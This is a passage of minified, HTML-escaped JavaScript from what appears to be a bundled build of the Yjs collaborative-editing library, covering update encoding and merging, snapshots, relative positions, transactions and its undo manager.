Map;e.forEach((s,i)=&gt;{A(t,i)&gt;s&amp;&amp;r.set(i,s)}),pn(t).forEach((s,i)=&gt;{e.has(i)||r.set(i,0)}),S(n.restEncoder,r.size),it(r.entries()).sort((s,i)=&gt;i[0]-s[0]).forEach(([s,i])=&gt;{Al(n,t.clients.get(s),s,i)})},Ul=(n,t)=&gt;{let e=U(),r=b(n.restDecoder);for(let s=0;s&lt;r;s++){let i=b(n.restDecoder),o=new Array(i),c=n.readClient(),l=b(n.restDecoder);e.set(c,{i:0,refs:o});for(let a=0;a&lt;i;a++){let d=n.readInfo();switch(31&amp;d){case 0:{let u=n.readLen();o[a]=new G(x(c,l),u),l+=u;break}case 10:{let u=b(n.restDecoder);o[a]=new P(x(c,l),u),l+=u;break}default:{let u=(d&amp;192)===0,h=new C(x(c,l),null,(d&amp;128)===128?n.readLeftID():null,null,(d&amp;64)===64?n.readRightID():null,u?n.readParentInfo()?t.get(n.readString()):n.readLeftID():null,u&amp;&amp;(d&amp;32)===32?n.readString():null,To(n,d));o[a]=h,l+=h.length}}}}return e},Il=(n,t,e)=&gt;{let r=[],s=it(e.keys()).sort((f,p)=&gt;f-p);if(s.length===0)return null;let i=()=&gt;{if(s.length===0)return null;let f=e.get(s[s.length-1]);for(;f.refs.length===f.i;)if(s.pop(),s.length&gt;0)f=e.get(s[s.length-1]);else return null;return f},o=i();if(o===null)return null;let c=new Vn,l=new Map,a=(f,p)=&gt;{let g=l.get(f);(g==null||g&gt;p)&amp;&amp;l.set(f,p)},d=o.refs[o.i++],u=new Map,h=()=&gt;{for(let f of r){let p=f.id.client,g=e.get(p);g?(g.i--,c.clients.set(p,g.refs.slice(g.i)),e.delete(p),g.i=0,g.refs=[]):c.clients.set(p,[f]),s=s.filter(m=&gt;m!==p)}r.length=0};for(;;){if(d.constructor!==P){let p=N(u,d.id.client,()=&gt;A(t,d.id.client))-d.id.clock;if(p&lt;0)r.push(d),a(d.id.client,d.id.clock-1),h();else{let g=d.getMissing(n,t);if(g!==null){r.push(d);let m=e.get(g)||{refs:[],i:0};if(m.refs.length===m.i)a(g,A(t,g)),h();else{d=m.refs[m.i++];continue}}else(p===0||p&lt;d.length)&amp;&amp;(d.integrate(n,p),u.set(d.id.client,d.id.clock+d.length))}}if(r.length&gt;0)d=r.pop();else if(o!==null&amp;&amp;o.i&lt;o.refs.length)d=o.refs[o.i++];else{if(o=i(),o===null)break;d=o.refs[o.i++]}}if(c.clients.size&gt;0){let f=new Q;return Wr(f,c,new Map),S(f.restEncoder,0),{missing:l,update:f.toUint8Array()}}return null},Tl=(n,t)=&gt;Wr(n,t.doc.store,t.beforeState),Xr=(n,t,e,r=new J(n))=&gt;_(t,s=&gt;{s.local=!1;let i=!1,o=s.doc,c=o.store,l=Ul(r,o),a=Il(s,c,l),d=c.pendingStructs;if(d){for(let[h,f]of d.missing)if(f&lt;A(c,h)){i=!0;break}if(a){for(let[h,f]of a.missing){let p=d.missing.get(h);(p==null||p&gt;f)&amp;&amp;d.missing.set(h,f)}d.update=ee([d.update,a.update])}}else c.pendingStructs=a;let u=Ti(r,s,c);if(c.pendingDs){let h=new J(O(c.pendingDs));b(h.restDecoder);let f=Ti(h,s,c);u&amp;&amp;f?c.pendingDs=ee([u,f]):c.pendingDs=u||f}else c.pendingDs=u;if(i){let h=c.pendingStructs.update;c.pendingStructs=null,St(s.doc,h)}},e,!1),vl=(n,t,e)=&gt;Xr(n,t,e,new X(n)),St=(n,t,e,r=J)=&gt;{let s=O(t);Xr(s,n,e,new r(s))},Qr=(n,t,e)=&gt;St(n,t,e,X),Ol=(n,t,e=new Map)=&gt;{Wr(n,t.store,e),gt(n,qr(t.store))},Vt=(n,t=new Uint8Array([0]),e=new Q)=&gt;{let r=ts(t);Ol(e,n,r);let s=[e.toUint8Array()];if(n.store.pendingDs&amp;&amp;s.push(n.store.pendingDs),n.store.pendingStructs&amp;&amp;s.push(is(n.store.pendingStructs.update,t)),s.length&gt;1){if(e.constructor===wt)return so(s.map((i,o)=&gt;o===0?i:ao(i)));if(e.constructor===Q)return ee(s)}return s[0]},Zr=(n,t)=&gt;Vt(n,t,new wt),Ji=n=&gt;{let t=new Map,e=b(n.restDecoder);for(let r=0;r&lt;e;r++){let s=b(n.restDecoder),i=b(n.restDecoder);t.set(s,i)}return t},ts=n=&gt;Ji(new Zt(O(n))),es=(n,t)=&gt;(S(n.restEncoder,t.size),it(t.entries()).sort((e,r)=&gt;r[0]-e[0]).forEach(([e,r])=&gt;{S(n.restEncoder,e),S(n.restEncoder,r)}),n),Ll=(n,t)=&gt;es(n,pn(t.store)),Nl=(n,t=new ve)=&gt;(n instanceof Map?es(t,n):Ll(t,n),t.toUint8Array()),ns=n=&gt;Nl(n,new Mt),Pr=class{constructor(){this.l=[]}},vi=()=&gt;new Pr,Oi=(n,t)=&gt;n.l.push(t),Li=(n,t)=&gt;{let e=n.l,r=e.length;n.l=e.filter(s=&gt;t!==s),r===n.l.length&amp;&amp;console.error(&quot;[yjs] Tried to remove event handler that doesn&#039;t exist.&quot;)},Ki=(n,t,e)=&gt;Xe(n.l,[t,e]),Et=class{constructor(t,e){this.client=t,this.clock=e}},qt=(n,t)=&gt;n===t||n!==null&amp;&amp;t!==null&amp;&amp;n.client===t.client&amp;&amp;n.clock===t.clock,x=(n,t)=&gt;new Et(n,t),Ni=(n,t)=&gt;{S(n,t.client),S(n,t.clock)},Mi=n=&gt;x(b(n),b(n)),rs=n=&gt;{for(let[t,e]of n.doc.share.entries())if(e===n)return t;throw $()},on=(n,t)=&gt;{for(;t!==null;){if(t.parent===n)return!0;t=t.parent._item}return!1},Ml=n=&gt;{let t=[],e=n._start;for(;e;)t.push(e),e=e.right;console.log(&quot;Children: &quot;,t),console.log(&quot;Children content: &quot;,t.filter(r=&gt;!r.deleted).map(r=&gt;r.content))},jr=class{constructor(t,e=t.getMap(&quot;users&quot;)){let r=new Map;this.yusers=e,this.doc=t,this.clients=new Map,this.dss=r;let s=(i,o)=&gt;{let c=i.get(&quot;ds&quot;),l=i.get(&quot;ids&quot;),a=d=&gt;this.clients.set(d,o);c.observe(d=&gt;{d.changes.added.forEach(u=&gt;{u.content.getContent().forEach(h=&gt;{h instanceof Uint8Array&amp;&amp;this.dss.set(o,Qt([this.dss.get(o)||Jn(),kt(new Zt(O(h)))]))})})}),this.dss.set(o,Qt(c.map(d=&gt;kt(new Zt(O(d)))))),l.observe(d=&gt;d.changes.added.forEach(u=&gt;u.content.getContent().forEach(a))),l.forEach(a)};e.observe(i=&gt;{i.keysChanged.forEach(o=&gt;s(e.get(o),o))}),e.forEach(s)}setUserMapping(t,e,r,{filter:s=()=&gt;!0}={}){let i=this.yusers,o=i.get(r);o||(o=new se,o.set(&quot;ids&quot;,new re),o.set(&quot;ds&quot;,new re),i.set(r,o)),o.get(&quot;ids&quot;).push([e]),i.observe(c=&gt;{setTimeout(()=&gt;{let l=i.get(r);if(l!==o){o=l,this.clients.forEach((u,h)=&gt;{r===u&amp;&amp;o.get(&quot;ids&quot;).push([h])});let a=new Mt,d=this.dss.get(r);d&amp;&amp;(gt(a,d),o.get(&quot;ds&quot;).push([a.toUint8Array()]))}},0)}),t.on(&quot;afterTransaction&quot;,c=&gt;{setTimeout(()=&gt;{let l=o.get(&quot;ds&quot;),a=c.deleteSet;if(c.local&amp;&amp;a.clients.size&gt;0&amp;&amp;s(c,a)){let d=new Mt;gt(d,a),l.push([d.toUint8Array()])}})})}getUserByClientId(t){return this.clients.get(t)||null}getUserByDeletedId(t){for(let[e,r]of this.dss.entries())if(ae(r,t))return e;return null}},Oe=class{constructor(t,e,r,s=0){this.type=t,this.tname=e,this.item=r,this.assoc=s}},Rl=n=&gt;{let t={};return n.type&amp;&amp;(t.type=n.type),n.tname&amp;&amp;(t.tname=n.tname),n.item&amp;&amp;(t.item=n.item),n.assoc!=null&amp;&amp;(t.assoc=n.assoc),t},Vl=n=&gt;new Oe(n.type==null?null:x(n.type.client,n.type.clock),n.tname??null,n.item==null?null:x(n.item.client,n.item.clock),n.assoc==null?0:n.assoc),Rn=class{constructor(t,e,r=0){this.type=t,this.index=e,this.assoc=r}},Bl=(n,t,e=0)=&gt;new Rn(n,t,e),Tn=(n,t,e)=&gt;{let r=null,s=null;return n._item===null?s=rs(n):r=x(n._item.id.client,n._item.id.clock),new Oe(r,s,t,e)},Pl=(n,t,e=0)=&gt;{let r=n._start;if(e&lt;0){if(t===0)return Tn(n,null,e);t--}for(;r!==null;){if(!r.deleted&amp;&amp;r.countable){if(r.length&gt;t)return Tn(n,x(r.id.client,r.id.clock+t),e);t-=r.length}if(r.right===null&amp;&amp;e&lt;0)return Tn(n,r.lastId,e);r=r.right}return Tn(n,null,e)},jl=(n,t)=&gt;{let{type:e,tname:r,item:s,assoc:i}=t;if(s!==null)S(n,0),Ni(n,s);else if(r!==null)_e(n,1),At(n,r);else if(e!==null)_e(n,2),Ni(n,e);else throw $();return Je(n,i),n},Fl=n=&gt;{let t=ot();return jl(t,n),Y(t)},Yl=n=&gt;{let t=null,e=null,r=null;switch(b(n)){case 0:r=Mi(n);break;case 1:e=It(n);break;case 2:t=Mi(n)}let s=pr(n)?qe(n):0;return new Oe(t,e,r,s)},zl=n=&gt;Yl(O(n)),Gl=(n,t)=&gt;{let e=Wt(n,t),r=t.clock-e.id.clock;return{item:e,diff:r}},Hl=(n,t,e=!0)=&gt;{let r=t.store,s=n.item,i=n.type,o=n.tname,c=n.assoc,l=null,a=0;if(s!==null){if(A(r,s.client)&lt;=s.clock)return null;let d=e?$r(r,s):Gl(r,s),u=d.item;if(!(u instanceof C))return null;if(l=u.parent,l._item===null||!l._item.deleted){a=u.deleted||!u.countable?0:d.diff+(c&gt;=0?0:1);let h=u.left;for(;h!==null;)!h.deleted&amp;&amp;h.countable&amp;&amp;(a+=h.length),h=h.left}}else{if(o!==null)l=t.get(o);else if(i!==null){if(A(r,i.client)&lt;=i.clock)return null;let{item:d}=e?$r(r,i):{item:Wt(r,i)};if(d instanceof C&amp;&amp;d.content instanceof nt)l=d.content.type;else return null}else throw $();c&gt;=0?a=l._length:a=0}return Bl(l,a,n.assoc)},$l=(n,t)=&gt;n===t||n!==null&amp;&amp;t!==null&amp;&amp;n.tname===t.tname&amp;&amp;qt(n.item,t.item)&amp;&amp;qt(n.type,t.type)&amp;&amp;n.assoc===t.assoc,cn=class{constructor(t,e){this.ds=t,this.sv=e}},Jl=(n,t)=&gt;{let e=n.ds.clients,r=t.ds.clients,s=n.sv,i=t.sv;if(s.size!==i.size||e.size!==r.size)return!1;for(let[o,c]of s.entries())if(i.get(o)!==c)return!1;for(let[o,c]of e.entries()){let l=r.get(o)||[];if(c.length!==l.length)return!1;for(let a=0;a&lt;c.length;a++){let d=c[a],u=l[a];if(d.clock!==u.clock||d.len!==u.len)return!1}}return!0},qi=(n,t=new ve)=&gt;(gt(t,n.ds),es(t,n.sv),t.toUint8Array()),Kl=n=&gt;qi(n,new Mt),Wi=(n,t=new Mn(O(n)))=&gt;new cn(kt(t),Ji(t)),ql=n=&gt;Wi(n,new Zt(O(n))),ss=(n,t)=&gt;new cn(n,t),Wl=ss(Jn(),new Map),Xl=n=&gt;ss(qr(n.store),pn(n.store)),vt=(n,t)=&gt;t===void 0?!n.deleted:t.sv.has(n.id.client)&amp;&amp;(t.sv.get(n.id.client)||0)&gt;n.id.clock&amp;&amp;!ae(t.ds,n.id),Fr=(n,t)=&gt;{let e=N(n.meta,Fr,dt),r=n.doc.store;e.has(t)||(t.sv.forEach((s,i)=&gt;{s&lt;A(r,i)&amp;&amp;z(n,x(i,s))}),Xt(n,t.ds,s=&gt;{}),e.add(t))},Ql=(n,t,e=new mt)=&gt;{if(n.gc)throw new Error(&quot;Garbage-collection must be disabled in `originDoc`!&quot;);let{sv:r,ds:s}=t,i=new Q;return n.transact(o=&gt;{let c=0;r.forEach(l=&gt;{l&gt;0&amp;&amp;c++}),S(i.restEncoder,c);for(let[l,a]of r){if(a===0)continue;a&lt;A(n.store,l)&amp;&amp;z(o,x(l,a));let d=n.store.clients.get(l)||[],u=et(d,a-1);S(i.restEncoder,u+1),i.writeClient(l),S(i.restEncoder,0);for(let h=0;h&lt;=u;h++)d[h].write(i,0)}gt(i,s)}),St(e,i.toUint8Array(),&quot;snapshot&quot;),e},Zl=(n,t,e=J)=&gt;{let r=new e(O(t)),s=new yt(r,!1);for(let o=s.curr;o!==null;o=s.next())if((n.sv.get(o.id.client)||0)&lt;o.id.clock+o.length)return!1;let i=Qt([n.ds,kt(r)]);return Hi(n.ds,i)},ta=(n,t)=&gt;Zl(n,t,X),Vn=class{constructor(){this.clients=new Map,this.pendingStructs=null,this.pendingDs=null}},pn=n=&gt;{let t=new Map;return n.clients.forEach((e,r)=&gt;{let s=e[e.length-1];t.set(r,s.id.clock+s.length)}),t},A=(n,t)=&gt;{let e=n.clients.get(t);if(e===void 0)return 0;let r=e[e.length-1];return r.id.clock+r.length},Xi=(n,t)=&gt;{let e=n.clients.get(t.id.client);if(e===void 0)e=[],n.clients.set(t.id.client,e);else{let r=e[e.length-1];if(r.id.clock+r.length!==t.id.clock)throw $()}e.push(t)},et=(n,t)=&gt;{let e=0,r=n.length-1,s=n[r],i=s.id.clock;if(i===t)return r;let o=W(t/(i+s.length-1)*r);for(;e&lt;=r;){if(s=n[o],i=s.id.clock,i&lt;=t){if(t&lt;i+s.length)return o;e=o+1}else r=o-1;o=W((e+r)/2)}throw $()},ea=(n,t)=&gt;{let e=n.clients.get(t.client);return e[et(e,t.clock)]},Wt=ea,Yr=(n,t,e)=&gt;{let r=et(t,e),s=t[r];return s.id.clock&lt;e&amp;&amp;s instanceof C?(t.splice(r+1,0,$n(n,s,e-s.id.clock)),r+1):r},z=(n,t)=&gt;{let e=n.doc.store.clients.get(t.client);return e[Yr(n,e,t.clock)]},zr=(n,t,e)=&gt;{let r=t.clients.get(e.client),s=et(r,e.clock),i=r[s];return e.clock!==i.id.clock+i.length-1&amp;&amp;i.constructor!==G&amp;&amp;r.splice(s+1,0,$n(n,i,e.clock-i.id.clock+1)),i},na=(n,t,e)=&gt;{let r=n.clients.get(t.id.client);r[et(r,t.id.clock)]=e},Qi=(n,t,e,r,s)=&gt;{if(r===0)return;let i=e+r,o=Yr(n,t,e),c;do c=t[o++],i&lt;c.id.clock+c.length&amp;&amp;Yr(n,t,i),s(c);while(o&lt;t.length&amp;&amp;t[o].id.clock&lt;i)},Bn=class{constructor(t,e,r){this.doc=t,this.deleteSet=new Nt,this.beforeState=pn(t.store),this.afterState=new Map,this.changed=new Map,this.changedParentTypes=new Map,this._mergeStructs=[],this.origin=e,this.meta=new Map,this.local=r,this.subdocsAdded=new Set,this.subdocsRemoved=new Set,this.subdocsLoaded=new Set,this._needFormattingCleanup=!1}},Ri=(n,t)=&gt;t.deleteSet.clients.size===0&amp;&amp;!Ys(t.afterState,(e,r)=&gt;t.beforeState.get(r)!==e)?!1:(Kr(t.deleteSet),Tl(n,t),gt(n,t.deleteSet),!0),Vi=(n,t,e)=&gt;{let r=t._item;(r===null||r.id.clock&lt;(n.beforeState.get(r.id.client)||0)&amp;&amp;!r.deleted)&amp;&amp;N(n.changed,t,dt).add(e)},Ln=(n,t)=&gt;{let e=n[t],r=n[t-1],s=t;for(;s&gt;0;e=r,r=n[--s-1]){if(r.deleted===e.deleted&amp;&amp;r.constructor===e.constructor&amp;&amp;r.mergeWith(e)){e instanceof C&amp;&amp;e.parentSub!==null&amp;&amp;e.parent._map.get(e.parentSub)===e&amp;&amp;e.parent._map.set(e.parentSub,r);continue}break}let i=t-s;return i&amp;&amp;n.splice(t+1-i,i),i},Zi=(n,t,e)=&gt;{for(let[r,s]of n.clients.entries()){let i=t.clients.get(r);for(let o=s.length-1;o&gt;=0;o--){let c=s[o],l=c.clock+c.len;for(let a=et(i,c.clock),d=i[a];a&lt;i.length&amp;&amp;d.id.clock&lt;l;d=i[++a]){let u=i[a];if(c.clock+c.len&lt;=u.id.clock)break;u instanceof C&amp;&amp;u.deleted&amp;&amp;!u.keep&amp;&amp;e(u)&amp;&amp;u.gc(t,!1)}}}},to=(n,t)=&gt;{n.clients.forEach((e,r)=&gt;{let s=t.clients.get(r);for(let i=e.length-1;i&gt;=0;i--){let o=e[i],c=kn(s.length-1,1+et(s,o.clock+o.len-1));for(let l=c,a=s[l];l&gt;0&amp;&amp;a.id.clock&gt;=o.clock;a=s[l])l-=1+Ln(s,l)}})},ra=(n,t,e)=&gt;{Zi(n,t,e),to(n,t)},eo=(n,t)=&gt;{if(t&lt;n.length){let e=n[t],r=e.doc,s=r.store,i=e.deleteSet,o=e._mergeStructs;try{Kr(i),e.afterState=pn(e.doc.store),r.emit(&quot;beforeObserverCalls&quot;,[e,r]);let c=[];e.changed.forEach((l,a)=&gt;c.push(()=&gt;{(a._item===null||!a._item.deleted)&amp;&amp;a._callObserver(e,l)})),c.push(()=&gt;{e.changedParentTypes.forEach((l,a)=&gt;{a._dEH.l.length&gt;0&amp;&amp;(a._item===null||!a._item.deleted)&amp;&amp;(l=l.filter(d=&gt;d.target._item===null||!d.target._item.deleted),l.forEach(d=&gt;{d.currentTarget=a,d._path=null}),l.sort((d,u)=&gt;d.path.length-u.path.length),c.push(()=&gt;{Ki(a._dEH,l,e)}))}),c.push(()=&gt;r.emit(&quot;afterTransaction&quot;,[e,r])),c.push(()=&gt;{e._needFormattingCleanup&amp;&amp;Ca(e)})}),Xe(c,[])}finally{r.gc&amp;&amp;Zi(i,s,r.gcFilter),to(i,s),e.afterState.forEach((d,u)=&gt;{let h=e.beforeState.get(u)||0;if(h!==d){let f=s.clients.get(u),p=bt(et(f,h),1);for(let g=f.length-1;g&gt;=p;)g-=1+Ln(f,g)}});for(let d=o.length-1;d&gt;=0;d--){let{client:u,clock:h}=o[d].id,f=s.clients.get(u),p=et(f,h);p+1&lt;f.length&amp;&amp;Ln(f,p+1)&gt;1||p&gt;0&amp;&amp;Ln(f,p)}if(!e.local&amp;&amp;e.afterState.get(r.clientID)!==e.beforeState.get(r.clientID)&amp;&amp;(Un(Te,Ze,&quot;[yjs] &quot;,tn,en,&quot;Changed the client-id because another client seems to be using it.&quot;),r.clientID=$i()),r.emit(&quot;afterTransactionCleanup&quot;,[e,r]),r._observers.has(&quot;update&quot;)){let d=new wt;Ri(d,e)&amp;&amp;r.emit(&quot;update&quot;,[d.toUint8Array(),e.origin,r,e])}if(r._observers.has(&quot;updateV2&quot;)){let d=new Q;Ri(d,e)&amp;&amp;r.emit(&quot;updateV2&quot;,[d.toUint8Array(),e.origin,r,e])}let{subdocsAdded:c,subdocsLoaded:l,subdocsRemoved:a}=e;(c.size&gt;0||a.size&gt;0||l.size&gt;0)&amp;&amp;(c.forEach(d=&gt;{d.clientID=r.clientID,d.collectionid==null&amp;&amp;(d.collectionid=r.collectionid),r.subdocs.add(d)}),a.forEach(d=&gt;r.subdocs.delete(d)),r.emit(&quot;subdocs&quot;,[{loaded:l,added:c,removed:a},r,e]),a.forEach(d=&gt;d.destroy())),n.length&lt;=t+1?(r._transactionCleanups=[],r.emit(&quot;afterAllTransactions&quot;,[r,n])):eo(n,t+1)}}},_=(n,t,e=null,r=!0)=&gt;{let s=n._transactionCleanups,i=!1,o=null;n._transaction===null&amp;&amp;(i=!0,n._transaction=new Bn(n,e,r),s.push(n._transaction),s.length===1&amp;&amp;n.emit(&quot;beforeAllTransactions&quot;,[n]),n.emit(&quot;beforeTransaction&quot;,[n._transaction,n]));try{o=t(n._transaction)}finally{if(i){let c=n._transaction===s[0];n._transaction=null,c&amp;&amp;eo(s,0)}}return o},Gr=class{constructor(t,e){this.insertions=e,this.deletions=t,this.meta=new Map}},Bi=(n,t,e)=&gt;{Xt(n,e.deletions,r=&gt;{r instanceof C&amp;&amp;t.scope.some(s=&gt;s===n.doc||on(s,r))&amp;&amp;ds(r,!1)})},Pi=(n,t,e)=&gt;{let r=null,s=n.doc,i=n.scope;_(s,c=&gt;{for(;t.length&gt;0&amp;&amp;n.currStackItem===null;){let l=s.store,a=t.pop(),d=new Set,u=[],h=!1;Xt(c,a.insertions,f=&gt;{if(f instanceof C){if(f.redone!==null){let{item:p,diff:g}=$r(l,f.id);g&gt;0&amp;&amp;(p=z(c,x(p.id.client,p.id.clock+g))),f=p}!f.deleted&amp;&amp;i.some(p=&gt;p===c.doc||on(p,f))&amp;&amp;u.push(f)}}),Xt(c,a.deletions,f=&gt;{f instanceof C&amp;&amp;i.some(p=&gt;p===c.doc||on(p,f))&amp;&amp;!ae(a.insertions,f.id)&amp;&amp;d.add(f)}),d.forEach(f=&gt;{h=Io(c,f,d,a.insertions,n.ignoreRemoteMapChanges,n)!==null||h});for(let f=u.length-1;f&gt;=0;f--){let p=u[f];n.deleteFilter(p)&amp;&amp;(p.delete(c),h=!0)}n.currStackItem=h?a:null}c.changed.forEach((l,a)=&gt;{l.has(null)&amp;&amp;a._searchMarker&amp;&amp;(a._searchMarker.length=0)}),r=c},n);let o=n.currStackItem;if(o!=null){let c=r.changedParentTypes;n.emit(&quot;stack-item-popped&quot;,[{stackItem:o,type:e,changedParentTypes:c,origin:n},n]),n.currStackItem=null}return o},te=class extends Dt{constructor(t,{captureTimeout:e=500,captureTransaction:r=l=&gt;!0,deleteFilter:s=()=&gt;!0,trackedOrigins:i=new Set([null]),ignoreRemoteMapChanges:o=!1,doc:c=zt(t)?t[0].doc:t instanceof mt?t:t.doc}={}){super(),this.scope=[],this.doc=c,this.addToScope(t),this.deleteFilter=s,i.add(this),this.trackedOrigins=i,this.captureTransaction=r,this.undoStack=[],this.redoStack=[],this.undoing=!1,this.redoing=!1,this.currStackItem=null,this.lastChange=0,this.ignoreRemoteMapChanges=o,this.captureTimeout=e,this.afterTransactionHandler=l=&gt;{if(!this.captureTransaction(l)||!this.scope.some(m=&gt;l.changedParentTypes.has(m)||m===this.doc)||!this.trackedOrigins.has(l.origin)&amp;&amp;(!l.origin||!this.trackedOrigins.has(l.origin.constructor)))return;let a=this.undoing,d=this.redoing,u=a?this.redoStack:this.undoStack;a?this.stopCapturing():d||this.clear(!1,!0);let h=new Nt;l.afterState.forEach((m,w)=&gt;{let y=l.beforeState.get(w)||0,E=m-y;E&gt;0&amp;&amp;sn(h,w,y,E)});let f=Tt(),p=!1;if(this.lastChange&gt;0&amp;&amp;f-this.lastChange&lt;this.captureTimeout&amp;&amp;u.length&gt;0&amp;&amp;!a&amp;&amp;!d){let m=u[u.length-1];m.deletions=Qt([m.deletions,l.deleteSet]),m.insertions=Qt([m.insertions,h])}else u.push(new Gr(l.deleteSet,h)),p=!0;!a&amp;&amp;!d&amp;&amp;(this.lastChange=f),Xt(l,l.deleteSet,m=&gt;{m instanceof C&amp;&amp;this.scope.some(w=&gt;w===l.doc||on(w,m))&amp;&amp;ds(m,!0)});let g=[{stackItem:u[u.length-1],origin:l.origin,type:a?&quot;redo&quot;:&quot;undo&quot;,changedParentTypes:l.changedParentTypes},this];p?this.emit(&quot;stack-item-added&quot;,g):this.emit(&quot;stack-item-updated&quot;,g)},this.doc.on(&quot;afterTransaction&quot;,this.afterTransactionHandler),this.doc.on(&quot;destroy&quot;,()=&gt;{this.destroy()})}addToScope(t){let e=new Set(this.scope);t=zt(t)?t:[t],t.forEach(r=&gt;{e.has(r)||(e.add(r),(r instanceof T?r.doc!==this.doc:r!==this.doc)&amp;&amp;Rr(&quot;[yjs#509] Not same Y.Doc&quot;),this.scope.push(r))})}addTrackedOrigin(t){this.trackedOrigins.add(t)}removeTrackedOrigin(t){this.trackedOrigins.delete(t)}clear(t=!0,e=!0){(t&amp;&amp;this.canUndo()||e&amp;&amp;this.canRedo())&amp;&amp;this.doc.transact(r=&gt;{t&amp;&amp;(this.undoStack.forEach(s=&gt;Bi(r,this,s)),this.undoStack=[]),e&amp;&amp;(this.redoStack.forEach(s=&gt;Bi(r,this,s)),this.redoStack=[]),this.emit(&quot;stack-cleared&quot;,[{undoStackCleared:t,redoStackCleared:e}])})}stopCapturing(){this.lastChange=0}undo(){this.undoing=!0;let t;try{t=Pi(this,this.undoStack,&quot;undo&quot;)}finally{this.undoing=!1}return t}redo(){this.redoing=!0;let t;try{t=Pi(this,this.redoStack,&quot;redo&quot;)}finally{this.redoing=!1}return t}canUndo(){return this.undoStack.length&gt;0}canRedo(){return this.redoStack.length&gt;0}destroy(){this.trackedOrigins.delete(this),this.doc.off(&quot;afterTransaction&quot;,this.afterTransactionHandler),super.destroy()}};function*sa(n){let t=b(n.restDecoder);for(let e=0;e&lt;t;e++){let r=b(n.restDecoder),s=n.readClient(),i=b(n.restDecoder);for(let o=0;o&lt;r;o++){let c=n.readInfo();if(c===10){let l=b(n.restDecoder);yield new P(x(s,i),l),i+=l}else if((31&amp;c)!==0){let l=(c&amp;192)===0,a=new C(x(s,i),null,(c&amp;128)===128?n.readLeftID():null,null,(c&amp;64)===64?n.readRightID():null,l?n.readParentInfo()?n.readString():n.readLeftID():null,l&amp;&amp;(c&amp;32)===32?n.readString():null,To(n,c));yield a,i+=a.length}else{let l=n.readLen();yield new G(x(s,i),l),i+=l}}}}var yt=class{constructor(t,e){this.gen=sa(t),this.curr=null,this.done=!1,this.filterSkips=e,this.next()}next(){do this.curr=this.gen.next().value||null;while(this.filterSkips&amp;&amp;this.curr!==null&amp;&amp;this.curr.constructor===P);return this.curr}},ia=n=&gt;no(n,X),no=(n,t=J)=&gt;{let e=[],r=new t(O(n)),s=new yt(r,!1);for(let o=s.curr;o!==null;o=s.next())e.push(o);Un(&quot;Structs: &quot;,e);let i=kt(r);Un(&quot;DeleteSet: &quot;,i)},oa=n=&gt;ro(n,X),ro=(n,t=J)=&gt;{let e=[],r=new t(O(n)),s=new yt(r,!1);for(let i=s.curr;i!==null;i=s.next())e.push(i);return{structs:e,ds:kt(r)}},ln=class{constructor(t){this.currClient=0,this.startClock=0,this.written=0,this.encoder=t,this.clientStructs=[]}},so=n=&gt;ee(n,X,wt),io=(n,t=ve,e=J)=&gt;{let r=new t,s=new yt(new e(O(n)),!1),i=s.curr;if(i!==null){let o=0,c=i.id.client,l=i.id.clock!==0,a=l?0:i.id.clock+i.length;for(;i!==null;i=s.next())c!==i.id.client&amp;&amp;(a!==0&amp;&amp;(o++,S(r.restEncoder,c),S(r.restEncoder,a)),c=i.id.client,a=0,l=i.id.clock!==0),i.constructor===P&amp;&amp;(l=!0),l||(a=i.id.clock+i.length);a!==0&amp;&amp;(o++,S(r.restEncoder,c),S(r.restEncoder,a));let d=ot();return S(d,o),ti(d,r.restEncoder),r.restEncoder=d,r.toUint8Array()}else return S(r.restEncoder,0),r.toUint8Array()},ca=n=&gt;io(n,Mt,X),oo=(n,t=J)=&gt;{let e=new Map,r=new Map,s=new yt(new t(O(n)),!1),i=s.curr;if(i!==null){let o=i.id.client,c=i.id.clock;for(e.set(o,c);i!==null;i=s.next())o!==i.id.client&amp;&amp;(r.set(o,c),e.set(i.id.client,i.id.clock),o=i.id.client),c=i.id.clock+i.length;r.set(o,c)}return{from:e,to:r}},la=n=&gt;oo(n,X),aa=(n,t)=&gt;{if(n.constructor===G){let{client:e,clock:r}=n.id;return new G(x(e,r+t),n.length-t)}else if(n.constructor===P){let{client:e,clock:r}=n.id;return new P(x(e,r+t),n.length-t)}else{let e=n,{client:r,clock:s}=e.id;return new C(x(r,s+t),null,x(r,s+t-1),null,e.rightOrigin,e.parent,e.parentSub,e.content.splice(t))}},ee=(n,t=J,e=Q)=&gt;{if(n.length===1)return n[0];let r=n.map(d=&gt;new t(O(d))),s=r.map(d=&gt;new yt(d,!0)),i=null,o=new e,c=new ln(o);for(;s=s.filter(h=&gt;h.curr!==null),s.sort((h,f)=&gt;{if(h.curr.id.client===f.curr.id.client){let p=h.curr.id.clock-f.curr.id.clock;return p===0?h.curr.constructor===f.curr.constructor?0:h.curr.constructor===P?1:-1:p}else return f.curr.id.client-h.curr.id.client}),s.length!==0;){let d=s[0],u=d.curr.id.client;if(i!==null){let h=d.curr,f=!1;for(;h!==null&amp;&amp;h.id.clock+h.length&lt;=i.struct.id.clock+i.struct.length&amp;&amp;h.id.client&gt;=i.struct.id.client;)h=d.next(),f=!0;if(h===null||h.id.client!==u||f&amp;&amp;h.id.clock&gt;i.struct.id.clock+i.struct.length)continue;if(u!==i.struct.id.client)Ot(c,i.struct,i.offset),i={struct:h,offset:0},d.next();else if(i.struct.id.clock+i.struct.length&lt;h.id.clock)if(i.struct.constructor===P)i.struct.length=h.id.clock+h.length-i.struct.id.clock;else{Ot(c,i.struct,i.offset);let p=h.id.clock-i.struct.id.clock-i.struct.length;i={struct:new P(x(u,i.struct.id.clock+i.struct.length),p),offset:0}}else{let p=i.struct.id.clock+i.struct.length-h.id.clock;p&gt;0&amp;&amp;(i.struct.constructor===P?i.struct.length-=p:h=aa(h,p)),i.struct.mergeWith(h)||(Ot(c,i.struct,i.offset),i={struct:h,offset:0},d.next())}}else i={struct:d.curr,offset:0},d.next();for(let h=d.curr;h!==null&amp;&amp;h.id.client===u&amp;&amp;h.id.clock===i.struct.id.clock+i.struct.length&amp;&amp;h.constructor!==P;h=d.next())Ot(c,i.struct,i.offset),i={struct:h,offset:0}}i!==null&amp;&amp;(Ot(c,i.struct,i.offset),i=null),os(c);let l=r.map(d=&gt;kt(d)),a=Qt(l);return gt(o,a),o.toUint8Array()},is=(n,t,e=J,r=Q)=&gt;{let s=ts(t),i=new r,o=new ln(i),c=new e(O(n)),l=new yt(c,!1);for(;l.curr;){let 